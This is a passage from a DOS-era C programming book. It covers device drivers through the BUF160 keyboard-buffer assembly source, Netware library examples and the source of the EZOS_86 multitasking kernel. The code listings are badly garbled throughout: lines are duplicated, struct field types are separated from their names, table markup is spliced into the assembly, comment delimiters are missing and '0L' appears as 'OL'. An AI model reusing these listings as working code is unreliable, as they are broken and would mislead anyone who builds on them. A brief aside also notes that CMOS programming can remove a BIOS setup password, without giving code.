By programming CMOS RAM, we can even remove the setup password through programs. It is explained in "Illegal Codes" unit.

\section*{43 \\ Device Driver Programming}
"Device driver" and "Driver" are interchangeably used in Programming world. Device drivers are the programs that control the functioning of peripherals. According to me, writing device driver is one of the easier things in programming. What all you need to know for device driver programming is good knowledge of hardware components. You may also need to know, how to access those hardware components through programs. In this chapter let's see how to write our own device driver.

\subsection*{43.1 Secrets}

As I said earlier, device drivers are the programs that control the functioning of peripherals like keyboard, printer, etc. More specifically, they are the modules of an operating system.

MS DOS device drivers are with .SYS extensions. Since drivers drive peripheral devices, they get loaded into the memory when we bootup the system. So obviously, they remain resident in memory, but they are not considered as normal TSRs.

As drivers are the modules of an Operating System, one has to modify the OS whenever he adds new device to his system. Fortunately the installable device drivers technology available with MS DOS gives more flexibility to the user. It avoids direct operations or modifications of Operating System. The user can simply install a new device in a system, copy the driver files to boot disk and edit the system configuration file. Thus it clearly avoids complexity.

\subsection*{43.2 Types of MS DOS device drivers}
1. Character device drivers
2. Block device drivers

\subsection*{43.2.1 Character device drivers}

Character device drivers correspond to single byte. That is, these device drivers controls peripheral devices that perform input and output one character (i.e., one byte) at a time. The example for such devices are terminal, printer etc.

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\subsection*{43.2.2 Block device drivers}

Block device drivers correspond to block rather than byte. Even though they can be used with other devices, they are usually written to control random access storage devices such as floppy drives.

\subsection*{43.3 Writing our own device driver}

Writing device driver is not a tough job as one may think. But nowadays device driver programming is not needed as the peripheral device vendors provide powerful drivers along with their products. So I avoid indepth explanation about the device driver programming. In a nutshell, device drivers are the COM (BIN) files with .SYS as their extensions. Our new device driver should be added with CONFIG.SYS file. Drivers also have headers. MS DOS 5+ versions support EXE file (renamed to .SYS extension) as drivers too. But it is a good practice to have COM file as drivers.

\subsection*{43.4 BUF160}

BUF160 is a device driver for expanding the default keyboard buffer from 16 bytes to 160 bytes. 16 bytes restriction of default keyboard buffer might be strange to the people who are unnoticingly using keyboard buffer expansion program. If you don't use any keyboard buffer expansion utility and if your keyboard buffer is still 16 bytes in size (i.e., it can hold only 16 character when you work under command prompt), you may try this BUF160.

BUF160 is a good device driver. The recent version is 1.6a. Many people including D J Delorie, David Kirschbaum \& Robert M. Ryan contributed to BUF160.

It works by installing itself as the standard keyboard buffer in the BIOS. It can only do this if it is in the same segment as the BIOS, so you are advised to install it as the first device driver. While it installs itself into the BIOS, it also installs a device driver called KBUFFER. Anything written to KBUFFER ends up in the keyboard buffer. I suggest you to look into the memory map found with Ralf Brown's Interrupt List for understanding BIOS data area.

\subsection*{43.4.1 Source code}

Following is the source code of BUF160. It is written in assembly. As the code is more clear, I don't want to port it to Turbo C. I hope this real code will help you to understand the concepts behind device drivers. Refer the comment line for explanations.
```

title BUF160
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```
;
; BUF160.ASM
;

; Compilation flags

```

TRANSFER equ 1 ; Enables keyboard buffer transfer v1.4
; procedure if enabled (1) v1.4
USE286 equ 0 ; Should we use 286 (and later)
v1.5
PRIVATESTACK
PROGNAME equ 'BUF160'
VERSION
equ 'v1.6a, 29 January 1992'
;**************************************************************************
; General equates
;**********************************************************************

```

```

dqq struc
ofs dw ?
segw dw ? ; changed from 'seg' to keep MASM 5.0 happy v1.4
dqq ends
rqq struc l l l Request header structure
unit db ? ;unit \#
code db ? ; driver command code
status dw ? ; status return
q1 dd ? ;8 reserved bytes
q2 dd
mdesc db ? ; donno
trans dd ?
count dw ?
rqq ends
;***********************************************************************
; Pointers to BIOS data segment, v1.4

```

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```

;
BIOS_DATA_SEG equ 40H ;MASM had prob using BIOS_DATA in
calculations,
; so this typeless constant introduced. v1.6
BIOS_DATA SEGMENT AT BIOS_DATA_SEG
org 1AH
BUFFER_GET dw ? ;org lah
BUFFER_PUT dw ? ;org 1ch
org 80H
BUFFER_START dw ? ;org 80h
BUFFER_END dw ? ;org 82h
BIOS_DATA ENDS

```
```

; The actual program

```
; The actual program
;****************************************************************************
```



```
IF USE286 ; v1.5
    . }28
    %OUT Compiling 286 code ...
ELSE
    %OUT Compiling generic 8086 code ...
ENDIF
IF PRIVATESTACK
    %OUT Using private stack ...
ELSE
    %OUT Not using private stack ...
ENDIF
IF TRANSFER
    %OUT Including keyboard transfer code ...
ELSE
    %OUT Not including keyboard transfer code ...
ENDIF
\begin{tabular}{rll}
\multicolumn{2}{c}{ public header } & \\
header & label near & ; pointer to next device \\
dd & -1 & ;type device \\
dw & 8000 h & ;strategy entry point \\
\(d w\) & Strat & ;interrupt entry point \\
\(d w\) & Intr & ; device name
\end{tabular}


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```

mov cs:oldsp, sp
mov sp, offset stack_start
mov ax, cs
mov ss, ax
sti ; turn ints back on
mov ax, cs:oldax
ENDIF
push ds ; save everything in sight
push es
IF USE286
pusha ; v1.5
ELSE
push ax
push bx
push cx
push dx
push di
push si
ENDIF
mov ax,cs
mov ds,ax ;DS=code segment
les bx,req ;point to request hdr v1.4a
mov si,offset cmd_table ;our function table
mov cl,es:[bx].code ;get command
xor ch,ch ;clear msb v1.4
shl cx,1 ;*2 for word addresses
add si,cx ;add to table base
call word ptr [si] ;call our function v1.4a
les bx,cs:req ;get back request hdr vector
mov es:[bx].status,ax ; return status
IF USE286
popa ; v1.5
ELSE
pop si ;clean everything up
pop di
pop dx
pop cx
pop bx
pop ax
ENDIF
pop es
pop ds

```
```

IF PRIVATESTACK
mov ax, cs:oldss ; v1.6
cli ; turn ints off
mov ss, ax
mov sp, cs:oldsp
mov ax, cs:oldax
sti ; turn ints on
ENDIF
ret
public cmd_table
cmd_table: ;command routing table
dw Cmd_Init ;0=initialization (we do that)
dw Cmd_None ;1=media check (always SUCCESS)
dw Cmd_None ;2=build BIOS param block (ditto)
dw Cmd_None ;3=IO control input (ditto)
dw Cmd_None ;4=input from device (ditto)
dw Cmd_None ;5=nondest input no-wait (ditto)
dw Cmd_None ;6=input status (ditto)
dw Cmd_None ;7=flush input queue (ditto)
dw Cmd_Output ; 8=output to device (we do that)
dw Cmd_Output ;9=output with verify (same thing)
dw Cmd_Output_Status ; A=output status (we do that)
dw Cmd_None ;B=flush output queue (always SUCCESS)
dw Cmd_None ;C=IO control output (ditto)
; Cmd_Output procedure
;**********************
public Cmd_Output
Cmd_Output proc near
mov ax,BIOS_DATA
mov ds,ax ibIOS data area
mov cx,es:[bx].count
les bx,es:[bx].trans
Output_Loop:
mov al,es:[bx]
inc bx
cli
mov di,BUFFER_PUT ; next free space v1.4
call Buf_Wrap ;add 2, check for wraparound
cmp di,BUFFER_GET ;is the buffer full? v1.4
sti ;ints back on v1.4
je Output_Error ;buffer is full, error v1.4

```

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\section*{354 A to \(Z\) of C}
\begin{tabular}{lllll} 
cmp & si,BUFFER_END & ;hit kbd buffer's end yet? & v1.4 \\
jne & Transfer_Loop & ; nope, keep going & & \\
mov & si,BUFFER_START & ;yep, wrap around to start & v1.4 \\
jmp & Transfer_Loop & ; and keep going & &
\end{tabular}
public Transfer_Done
Transfer_Done: ENDIF
mov ax,cs ; Code Segment
sub ax,cx ; calculate difference b/w bios \& this
IF USE286
shl ax,4 ; v1.5
ELSE
shl ax,1 ;remainder * 16 (paras to bytes)
shl ax,1
shl ax,1
shl ax,1
ENDIF
mov cx,ax ; CX = driver starting offset
add ax, offset queue_start ;AX = queue_start offset
mov BUFFER_START, ax ;init BIOS buffer pointers v1.4
mov BUFFER_GET, ax ; v1.4
add ax,bx ;here'e next free space
mov BUFFER_PUT, ax ;tell BIOS v1.4
mov ax, cx ; get back driver starting offset v1.4a
add ax,queue_end ;code start + queue end v1.4a
mov BUFFER_END, ax ;tell BIOS v1.4
sti ;restore ints v1.6a
les bx,cs:[req] ;complete driver header
mov es:[bx].trans.ofs,offset last_code ;driver end
jmp short Stuff_Seg ; share code, return success v1.4a
public Init_Error
ASSUME ds:Cseg,es:Cseg ; v1.4
Init_Error:
mov dx,offset msg_err ;'Buf160 too far...'
mov ah,9 ;display msg
int 21h
les bx,cs:[req] ;complete driver header v1.6

IF 0 ;not sure if it works.
mov es:[bx].trans.ofs,0
```

    ELSE
    mov es:[bx].trans.ofs,offset last_code
    ENDIF
    ```
```

Stuff_Seg: ; v1.4a

```
Stuff_Seg: ; v1.4a
    mov es:[bx].trans.segw,cs ; v1.4
    mov es:[bx].trans.segw,cs ; v1.4
    mov ax,SUCCESS
    mov ax,SUCCESS
    ret
    ret
Cmd_Init endp
Cmd_Init endp
    public banner, msg_err
banner db PROGNAME,' ',VERSION,' installed.',CR,LF ;v1.4
    db 'Keyboard now has buffer of 160 characters.'
IF PRIVATESTACK
    db ' Using private stack.'
ENDIF
    db CR,LF,CR,LF,TERM
msg_err db PROGNAME,' too far from BIOS data area.'' ;v1.4
    db CR,LF,CR,LF,TERM
Intr endp
Cseg ends
    end
```


### 43.4.2 Compiling BUF160

To compile with Turbo Assembler use:

```
tasm BUF160
tlink BUF160
exe2bin BUF160.exe BUF160.sys
```

To compile with Microsoft Assembler use:

```
masm BUF160
link BUF160
exe2bin BUF160.exe BUF160.sys
```


### 43.4.3 Installing BUF160

To install BUF160, insert the following line in your config.sys:
DEVICE=<path>BUF160.SYS

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### 43.5 BGI Driver

As we know BGI drivers (one with .BGI extension) are used in Graphics Programming. We can also create our own BGI drivers. I omit the BGI driver programming here, because of the space constraint. More codes and documentations are found on CD.

## 44

 "Ignoring an insult is smart."
## Network Programming

This chapter will be useful for the people who are working with LAN. Novell Netware and Windows NT are the most widely used Network Operating Systems. These Network Operating Systems help to link the computers present on LAN and support resource sharing.

### 44.1 Novell Netware

Novell Netware was the widely used Network Operating System by many LAN users. Nowadays, Windows NT is getting popularity because of its tight security. And most of the people who use Novell Netware has moved to Windows NT.

Until version 4, Novell Netware uses DOS as a bootstrap loader. One of the interesting programming for Novell Netware is 'Chat' program that helps to communicate with other users on the Network. Quite honestly, now Novell Netware is obsolete. And so explaining Novell Netware Programming will be boring. Actually Novell Netware also uses 'interrupts' like DOS. For the interrupts used by Novell Netware, please refer the Ralf Brown's interrupt list found in CD

### 44.1.1 Network Library

I told you, Network Programming is just an interrupt programming. The Network library called Netware C Library 1.6 by Adrian Cunnelly has implemented most of the necessary functions using interrupts. So for the easy programming, we can use this library. The Basic Registration fee is $£ 10.00$ which includes the latest version of the library, royalty-free use of all library functions, unlimited technical support, and low-cost upgrades. A disk containing the full source code of the library is also available for $£ 35.00$

The library includes:

- Workstation Functions ( GetConnectionID, GetDefaultConnectionID, GetNetwareShellVersion, etc.)
- Message Functions (BroadcastToConsole, GetBroadcastMessage, GetPersonalMessage, LogNetworkMessage, SendBroadcastMessage, SendPersonalMessage, etc)
- File Functions (EraseFiles, PurgeAllErasedFiles, ScanFileInformation, etc)
- Directory Functions (AddTrusteeToDirectory, GetDirectoryPath, etc)


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- Print Functions (CancellPTCapture, GetBannerUserName, GetPrinterStatus, etc)
and many more useful Network functions. It is found in CD .


### 44.1.2 Example - Toserver.c

The following is the example code that uses the Netware C Library 1.6. This code is for sending message to the server. To compile this program, you need the respective header file and library file. Please look into the CD for a complete working version of the program.

```
/*****************************************************************************/
/* File: TOSERVER.C */
/* */
/* Function: Send message to the default server */
/* */
/* Usage: toserver "message" */
/* */
/* Functions Called: BroadcastToConsole */
/* */
/*******************************************************************************/
#include "netware.h"
#include <stdio.h>
int main (int argc,char *argv[]);
int main (int argc,char *argv[])
{
    if (argc !=2)
    {
        printf("Usage is 'toserver message'\n");
        return(-1);
    }
    else
        return(BroadcastToConsole(argv[1]));
}
```

Note
This program would compile only in Tiny memory model.

### 44.1.3 Example - Ulist.c

This is another example code that uses the Netware C Library 1.6. This code is for getting the statistics about the logged in users.

```
/***************************************************************************
/* File: ULIST.C */
/* */
/* Function: List all users that are currently logged into the*/
/* default server, and some useful stats (only if */
/* calling user has console operator rights). */
/* */
/* Usage: ulist
*/
/* */
/* Functions Called: GetConnectionNumber
*/
/* GetConnectionInformation */
/* GetConnectionsUsageStatistics */
/* */
/*******************************************************************************
#include <conio.h>
#include <dos.h>
#ifndef TURBOC
#include <search.h>
#endif
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include "netware.h"
#define FALSE 0
#define TRUE (!FALSE)
static char *days_of_week[] = { "Sun" , "Mon" , "Tue" ,
                                    "Wed" , "Thu" , "Fri" ,
                                    "Sat" };
/***********************************************************************/
void main()
{
unsigned int station;
long object_id;
word object_type;
char object_name[OBJECT_LENGTH];
char logintime[7];
int thisone;
long systemelapsedtime;
double bytesread,byteswritten;
long totalrequestpackets;
char c;
```


## 360 A to $Z$ of $C$

```
/* Here, we loop through all the possible stations (connections). */
    if((thisone=GetConnectionNumber()) == 0)
    {
        printf("*** No netware shell loaded ***\n");
        exit(255);
    }
    printf(" ---Login----");
    printf(" -----file bytes------ request\n");
    printf("conn User Name day time");
    printf(" read written packets\n");
    printf("====================================");
    printf(" =================================\n");
    for (station=1; station<100; station++)
    {
            GetConnectionInformation( station , object_name,
                                    &object_type,&object_id,
                                    logintime);
            if (object_name[0]!=0)
            {
                if (thisone==station) c='*'; else c=' ';
                printf(" %2u %c%-16s %-3s %02d:%02d:%02d",
                        station , c , object_name ,
                        days_of_week[ logintime[6] ],
                        logintime[3],logintime[4],logintime[5] );
                if(GetConnectionsUsageStatistics( station,
                &systemelapsedtime ,
                &bytesread,&byteswritten,&totalrequestpackets)==0)
                        printf(" %-10.0f %10.0f %7ld\n",
                                bytesread,byteswritten,totalrequestpackets);
            else
                        printf("\n");
            }
    }
}
```


### 44.2 Windows NT

Windows NT is another famous Network Operating System. We cannot program it from TC/DOS. The fact is Windows NT does not have DOS. The 'command prompt' of Windows NT is just a DOS Emulator. Windows NT uses different technologies from other Windows versions like 95/98. Windows 95 and Windows 98 are the GUIs (Graphical User Interface) running above DOS. Whereas Windows NT is a pure 32 bit Operating System. And so programming Windows NT from DOS is not possible.

## 45 "Kindness is rewarded." <br> Writing Browser

First of all we must know that browser is the one, which reads the HTML file found over net and formats the output according to the specification.

### 45.1 TCP/IP Programming

TCP (Transfer Control Protocol) and IP (Internet Protocol) are the protocols used for connecting a PC to the net. So we have to use TCP/IP for writing our own Browser.

### 45.1.1 WATTCP

Wattcp is perhaps the only library that is available for DOS users for TCP/IP programming. It allows us to connect our PC to the net from DOS. This useful Wattcp is available on the CD . For more documentation and information, refer the CD

### 45.2 Programming Browser

Programming Browser from DOS is considered to be one of the tough tasks. We don't have any DOS based Browsers except Lynx. I couldn't program a Browser that works under DOS. So it is left to you to code the Browser for DOS! I have already pointed out the logic: you have to connect the PC to the net using TCP/IP; you have to read the HTML file on the net and interpret accordingly. You may need to know the syntax of HTML too! If you are able to code a Browser for DOS users, you will certainly be appreciated worldwide!

## 46 "A happy heart is like good medicine." <br> Programming Protocols

"Protocol" is defined as set of rules. So it is clear that if you know those "rules" defined by someone, you won't find any difficulty in programming protocols.

### 46.1 Basic Idea!

"Protocol" is merely a jargon! Yes, the following can also be viewed as a protocol!

```
if (condition1)
    //do this
    else if (conditon2)
    //do this
```

So, for writing protocol, you need the specification or the rules for that protocol. Specifications for the important protocols are available on CD.

### 46.2 Developing a new Protocol

You might have come across "protocols" mostly in Networking. In Networking we need to communicate with other system, only if certain conditions are met. So you may also develop your own new protocol. But developing a new but good protocol is quite difficult! If you want to develop a new protocol, you must first find out the pitfalls in the existing protocols. And if you could develop a new protocol, the world would really appreciate you! Good luck!

## 47 "Learn the truth and never reject it." <br> Writing Operating System

Operating System is nothing but collection of programs for managing system resources like CPU, memory, storage device etc. Study of the Operating System is one of the vastest areas. This chapter does not deal with the details about Operating System. And in this chapter I would like to show you how OS can be written in Turbo C. However you may not be able to code your Operating System without depth knowledge of memory management, processor scheduling etc. So I strongly recommend you to go through a good Operating System book for indepth knowledge. According to me most of the people are not using Turbo C to write OS, because Turbo C is 16bit. Also people mainly hangout with Assembly language for a better and tight code.

### 47.1 EZOS_86

EZOS_86 is a simple multitasking kernel written in Turbo C by Scott A. Christensen for x86 machines in 1996-97. Operating Systems are usually protected and licensed according to GNU's General Public License and so this EZOS_86! So if you modify or rewrite this source code, you must acknowledge the author Scott A. Christensen and you are expected to keep the name of the revised OS as EZOS_86, but you can change the version. Regarding OS and other software, violation of copyright is treated as high offense. So beware of the licenses!

### 47.1.1 Notes

The author Scott A. Christensen added following note:
EZOS_86 is a simple multitasking kernel for the x86 family. It is written in $100 \%$ C source (it uses Turbo C extensions to access the registers). If you need a tight, fast, hand-coded, assembly kernel, forget this one!

The main emphasis here is to keep it simple: no linked lists, no dynamic allocation, no complicated task scheduling, no assembly language, etc. Yes, this can be embedded!

The scheduler is very rudimentary. It is preemptive, but with a strictly prioritized order. There is no protection from starvation; if a higher priority task spins the CPU, the lower priority tasks will never execute. Programs for embedded applications are often event driven and properly written will work fine. On the other hand, it wouldn't be that hard to change the scheduler to a round robin method if desired.

The scheduler always traverses the Task Control Block (TCB) array from the beginning (\&tcb[0]). The first task encountered that is eligible to run is the one executed. At least one task

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MUST always be eligible to run; hence the "null" task, which is created as the lowest priority and NEVER, sleeps.

The same task function can have multiple instances. For example you could call OsTaskCreate ( ) three times and pass task0 as the function all three times. Of course you must specify a unique stack and tcb. The parameter passed to task0 can identify the particular instance of the function.

## Reentrancy issues:

- use the runtime library at your own risk (reason for direct video)
- floating point is not reentrant; use semaphore protection or only do floating point in one task.


## Semaphores:

- clearing semaphore does not cause task switch; call OsSchedule ( ) to yield. This can throttle throughput. One could have null task continuously scan TCBs for eligible task and yield.
- OsSemClear ( ) returns TRUE if higher priority task waiting on sem
- multiple tasks can sleep on same semaphore
- ok to clear semaphore from within interrupt routine

As written this code will run a demo on an IBM clones and even clean up upon exit returning nicely backs to DOS. It creates the file "out" to dump the stack contents. Interrupt routines use the current task's stack. Be careful not to exceed your allocated stack space; very strange results can occur. Compile it with Turbo C with optimization off.

## Wishlist:

- simple file functions to read/write directly to IDE HD with FAT16
- multitasking capable floating point support
- some sort of built in debugging capability (TBUG.ZIP looks like a good start)
- runtime calculation of cpu utilization
- a _simplified_ malloc for embedded applications


### 47.1.2 Kernel Source Code

```
/*
*
*
*
*
*
*
```

    * ezos_86.c
    * All Rights Reserved

```
* version description
* --------------------------------------------------------------------
* 0.01.00 initial release
*
* /
#include <dos.h>
#include <stdio.h>
#include <conio.h>
#include <stdarg.h>
/*-----------------------------------------------------------------------
#define TRUE (0 == 0)
#define FALSE (0 != 0)
#define RUNNING 0
#define RUN_ASAP 1
#define SLEEPING 2
#define PENDING 3
#define SUSPENDED 4
#define KILLED 5
#define ALL_KILLED -2
#define NOT_STARTED -1
#define TICK_VECT 8
#define MAX_TASKS 10
#define STACKSIZE 1024
#define PENDING_SEM_REQUEST 0
#define PENDING_SEM_WAIT 1
#define TSK_ERR_ -1000
#define TSK_ERR_TIMEOUT (TSK_ERR_ - 0)
#define OS_INFINITE_WAIT -1L
#define OS_IMMEDIATE_RETURN OL
#define OsEnable() enable()
#define OsDisable() disable()
#define ATTR ((unsigned int) (((BLACK<<4)|WHITE)<<8))
#define schedule() \
    \
        int si;

\section*{366 A to Z of C}
```

    static PTCB_REC pTCBsi;
    static PTCB_REC pTCBsc;
    if(killedTasks == numTasks)
    {
        _SP = mainSP;
        _SS = mainSS;
        mainSleep = FALSE;
        curTask = ALL_KILLED;
    }
    else
    {
        for(si = 0, pTCBsi = tcb; si < numTasks; si++, pTCBsi++) \
        {
            if(pTCBsi->taskStatus == RUNNING)
                break;
            if(pTCBsi->taskStatus == RUN_ASAP)
            {
                pTCBsc = &tcb[curTask];
                if(pTCBsc->taskStatus == RUNNING)
                    pTCBsc->taskStatus = RUN_ASAP;
                    pTCBsc->taskSP = _SP;
                    pTCBsc->taskSS = _SS;
                    pTCBsi->taskStatus = RUNNING;
                    _SP = pTCBsi->taskSP;
                    _SS = pTCBsi->taskSS;
                    curTask = si;
                    break;
            }
        }
    }
    }
/*-------------------------------------------------------------------------------
typedef void (far cdecl *FUNCPTR) ();
typedef struct
{
unsigned int r_bp;
unsigned int
r_di;
unsigned int
r_si;
unsigned int
r_ds;
unsigned int
r_es;
unsigned int
r_dx;
unsigned int
r_cx;
unsigned int
r_bx;
unsigned int r_ax;

```
```

    FUNCPTR taskStartAddr;
    unsigned int
    FUNCPTR
    void *
    STACK_REC;
typedef struct
{
unsigned int
unsigned int
unsigned int
long
int
int *
taskStatus;
taskSP;
taskSS;
ticks;
semState;
pSem;
} TCB_REC, *PTCB_REC;
/*-----------------------------------------------------------------------------
void far interrupt OsTickIsr(void);
int far interrupt OsSchedule(void);
void far OsTaskKill(void);
void OsTaskCreate(PTCB_REC, FUNCPTR, void *,
unsigned char far *, int);
long OsTranslateMilsToTicks(long);
void OsInstall(void);
void OsRun(void);
void OsDeinstall(void);
void OsSleep(long);
void OsSleepTicks(long);
int OsSemClear(int *);
void OsSemSet(int *);
int OsSemWait(int *, long);
int OsSemSetWait(int *, long);
int OsSemRequest(int *, long);
int OsDisableStat(void);
void dumpStack(FILE *, unsigned char *, int);
void tprintf(const char *, ...);
void tputs(const char *);
void sout(char *);
void incRow(void);
void far task0(void *);
void far task1(void *);
void far task2(void *);
void far taskNull(void *);
/*----------------------------------------------------------------------
void (far interrupt *oldTickIsr)(void);

```

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```

int numTasks = 0;
int killedTasks = 0;
int curTask = NOT_STARTED;
int mainSleep = TRUE;
unsigned int mainSP;
unsigned int mainSS;

```
```

TCB_REC tcb[MAX_TASKS];

```
TCB_REC tcb[MAX_TASKS];
unsigned int _stklen = (STACKSIZE * MAX_TASKS) + 1024;
unsigned int _stklen = (STACKSIZE * MAX_TASKS) + 1024;
int
int
unsigned int
unsigned int
int
int
int
int
int tickSem = 1;
int tickSem = 1;
int goSem = 1;
int goSem = 1;
int screenSem = 0;
int screenSem = 0;
/*------------------------------------------------------------------------*/
/*------------------------------------------------------------------------**/
/*---------------------------------------------------------------------------*/
void main()
{
    unsigned char stackO[STACKSIZE];
    unsigned char stack1[STACKSIZE];
    unsigned char stack2[STACKSIZE];
    unsigned char stackNull[STACKSIZE];
    FILE *
f;
    clrscr();
    puts("\n\n EZOS_86 multitasking kernel");
    puts("
Copyright (C) 1996-97 Scott A. Christensen");
    delay(5000);
    clrscr();
    gotoxy(1, 24);
    screen = MK_FP(0xB800, 0);
    OsTaskCreate(&tcb[0], task0, (void *) 100, stack0, STACKSIZE);
    OsTaskCreate(&tcb[1], task1, (void *) 101, stack1, STACKSIZE);
    OsTaskCreate(&tcb[2], task2, (void *) 102, stack2, STACKSIZE);
    OsTaskCreate(&tcb[3], taskNull, NULL, stackNull, STACKSIZE);
    OsInstall();
    OsRun();
    OsDeinstall();
```

```
    f = fopen("out", "wb");
    dumpStack(f, stack0, STACKSIZE);
    dumpStack(f, stack1, STACKSIZE);
    dumpStack(f, stack2, STACKSIZE);
    dumpStack(f, stackNull, STACKSIZE);
    fclose(f);
    puts("done, hit key to continue...");
    getch();
}
/*---------------------------------------------------------------------------
void dumpStack(
    FILE * f,
    unsigned char * stack,
    int size
    )
{
    int i;
    char buf[80];
    char string[80];
    string[0] = 0;
    for(i = 0; i < size; i++)
    {
        if(i % 16== 0)
            fprintf(f, "%04X:%04X ", FP_SEG(&stack[i]), FP_OFF(&stack[i]));
        fprintf(f, "%02X ", stack[i]);
        if(isalnum(stack[i]) || stack[i] == ' ')
        {
            buf[0] = stack[i];
            buf[1] = 0;
            strcat(string, buf);
        }
        else
            strcat(string, ".");
        if(i % 16 == 15)
        {
            fprintf(f, " %s\r\n", string);
            string[0] = 0;
        }
    }
    fprintf(f, "\r\n");
}
/*--------------------------------------------------------------------------
```


## 370 A to $Z$ of C

```
void OsInstall()
{
    oldTickIsr = getvect(TICK_VECT);
    setvect(TICK_VECT, OsTickIsr);
}
/*-----------------------------------------------------------------------****
void OsRun()
{
    while(mainSleep);
}
/*---------------------------------------------------------------------------*/
void OsDeinstall()
{
    setvect(TICK_VECT, oldTickIsr);
}
/*------------------------------------------------------------------------*/
void far interrupt OsTickIsr()
{
    int i;
    static PTCB_REC pTCBi;
    switch(curTask)
    {
        case ALL_KILLED:
            break;
        case NOT_STARTED:
            mainSP = _SP;
            mainSS = _SS;
            pTCBi = tcb;
            pTCBi->taskStatus = RUNNING;
            _SP = pTCBi->taskSP;
            _SS = pTCBi->taskSS;
            curTask = 0;
            break;
        default:
            itick++;
```

```
        for(i = 0, pTCBi = tcb; i < numTasks; i++, pTCBi++)
        {
            if((pTCBi->taskStatus == SLEEPING) ||
                                    (pTCBi->taskStatus == PENDING))
            if(pTCBi->ticks > OL)
                if(--(pTCBi->ticks) == OL)
                        pTCBi->taskStatus = RUN_ASAP;
            }
            schedule();
            break;
    }
    oldTickIsr();
}
/*----------------------------------------------------------------------------
int far interrupt OsSchedule()
{
    OsDisable();
    schedule();
    return _AX; /* dummy value */
}
/*----------------------------------------------------------------------*/
void far OsTaskKill()
{
    OsDisable();
    killedTasks++;
    tcb[curTask].taskStatus = KILLED;
    OsSchedule();
}
/*--------------------------------------------------------------------------
void OsTaskCreate(
        PTCB_REC
                                pTCB,
        FUNCPTR
                                func,
        void * pTaskParam,
        unsigned char far * pStack,
        int
        )
{
    STACK_REC far * pStackRec;
    int i;
```


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```
    for(i = 0; i < stackSize; i++)
    pStack[i] = 0xFF;
    pStackRec = (STACK_REC far *) (pStack + stackSize -
sizeof(STACK_REC));
    pStackRec->r_bp = 0;
    pStackRec->r_di = 0;
    pStackRec->r_si = 0;
    pStackRec->r_ds = _DS;
    pStackRec->r_es = _DS;
    pStackRec->r_dx = 0;
    pStackRec->r_cx = 0;
    pStackRec->r_bx = 0;
    pStackRec->r_ax = 0;
    pStackRec->taskStartAddr = func;
    pStackRec->r_flags = 0x0200;
    pStackRec->taskExitReturn = OsTaskKill;
    pStackRec->pTaskParam = pTaskParam;
    pTCB->taskStatus = RUN_ASAP;
    pTCB->taskSP = FP_OFF (pStackRec);
    pTCB->taskSS = FP_SEG(pStackRec);
    numTasks++;
}
/*------------------------------------------------------------------------
long OsTranslateMilsToTicks(
        long mils
        )
{
    long x;
    if(mils < OL)
        return -1L;
    if(!mils)
        return OL;
    x = ((mils * 91L) / 5000L) + 1L; /* 18.2 ticks per sec */
    return x;
}
/*-----------------------------------------------------------------------
void OsSleep(
```

```
        long mils
        )
{
    long ticks;
    ticks = OsTranslateMilsToTicks(mils);
    OsSleepTicks(ticks);
}
/*-----------------------------------------------------------------------
void OsSleepTicks(
        long ticks
        )
{
    PTCB_REC pTCB;
    if(ticks <= OL)
        return;
    OsDisable();
    pTCB = &tcb[curTask];
    pTCB->taskStatus = SLEEPING;
    pTCB->ticks = ticks;
    OsSchedule();
}
/*-------------------------------------------------------------------------
int OsSemClear(
    int * pSem
    )
{
    int i;
    STACK_REC far * pStackRec;
    int processedRequest;
    PTCB_REC pTCB;
    int higherEligible;
    int intsEnabled;
    intsEnabled = OsDisableStat();
    if(!*pSem)
    {
        if(intsEnabled)
            OsEnable();
```


## 374 A to Z of C

```
        return FALSE;
    }
    *pSem = 0;
    processedRequest = FALSE;
    higherEligible = FALSE;
    for(i = 0, pTCB = tcb; i < numTasks; i++, pTCB++)
    {
        if((pTCB->taskStatus == PENDING) && (pTCB->pSem == pSem))
        {
            switch(pTCB->semState)
            {
                case PENDING_SEM_REQUEST:
                    if(processedRequest)
                        break;
                        processedRequest = TRUE;
                        *pSem = 1;
                    /* !!! no break here !!! */
                    case PENDING_SEM_WAIT:
                        pStackRec = MK_FP(pTCB->taskSS, pTCB->taskSP);
                        pStackRec->r_ax = 0;
                        pTCB->taskStatus = RUN_ASAP;
                    if(i < curTask)
                        higherEligible = TRUE;
                    break;
            }
        }
    }
    if(intsEnabled)
        OsEnable();
    return higherEligible;
}
```

```
/*---------------------------------------------------------------------------
```

/*---------------------------------------------------------------------------
void OsSemSet(
void OsSemSet(
int * pSem
int * pSem
)
)
{
{
int intsEnabled;
int intsEnabled;
intsEnabled = OsDisableStat();
intsEnabled = OsDisableStat();
*pSem = 1;

```
    *pSem = 1;
```

```
    if(intsEnabled)
        OsEnable();
}
/*------------------------------------------------------------------------**/
int OsSemWait(
        int * pSem,
        long mils
        )
{
    long ticks;
    PTCB_REC pTCB;
    OsDisable();
    if(!*pSem)
    {
        OsEnable();
        return 0;
    }
    ticks = OsTranslateMilsToTicks(mils);
    if(!ticks)
    {
        OsEnable();
        return TSK_ERR_TIMEOUT;
    }
    pTCB = &tcb[curTask];
    pTCB->taskStatus = PENDING;
    pTCB->semState = PENDING_SEM_WAIT;
    pTCB->pSem = pSem;
    pTCB->ticks = ticks;
    _AX = TSK_ERR_TIMEOUT;
    return OsSchedule();
}
/*-----------------------------------------------------------------------****
int OsSemSetWait(
    int * pSem,
```


## 376 A to Z of C

```
        long mils
        )
{
    OsDisable();
    OsSemSet (pSem);
    return OsSemWait(pSem, mils);
}
/*-----------------------------------------------------------------------
int OsSemRequest(
    int * pSem,
    long mils
        )
{
    long ticks;
    PTCB_REC pTCB;
    OsDisable();
    if(!*pSem)
    {
        *pSem = 1;
        OsEnable();
        return 0;
    }
    ticks = OsTranslateMilsToTicks(mils);
    if(!ticks)
    {
        OsEnable();
        return TSK_ERR_TIMEOUT;
    }
    pTCB = &tcb[curTask];
    pTCB->taskStatus = PENDING;
    pTCB->semState = PENDING_SEM_REQUEST;
    pTCB->pSem = pSem;
    pTCB->ticks = ticks;
    _AX = TSK_ERR_TIMEOUT;
```

```
    return OsSchedule();
}
/*------------------------------------------------------------------------*/
int OsDisableStat()
{
    unsigned int flags;
    flags = _FLAGS;
    OsDisable();
    return flags & 0x0200;
}
/*----------------------------------------------------------------------------
void tprintf(
        const char * format,
        ...
        )
{
    va_list argPtr;
    char buf[100];
    struct time t;
    va_start(argPtr, format);
    vsprintf(buf + 18, format, argPtr);
    va_end(argPtr);
    OsSemRequest(&screenSem, OS_INFINITE_WAIT);
    gettime(&t);
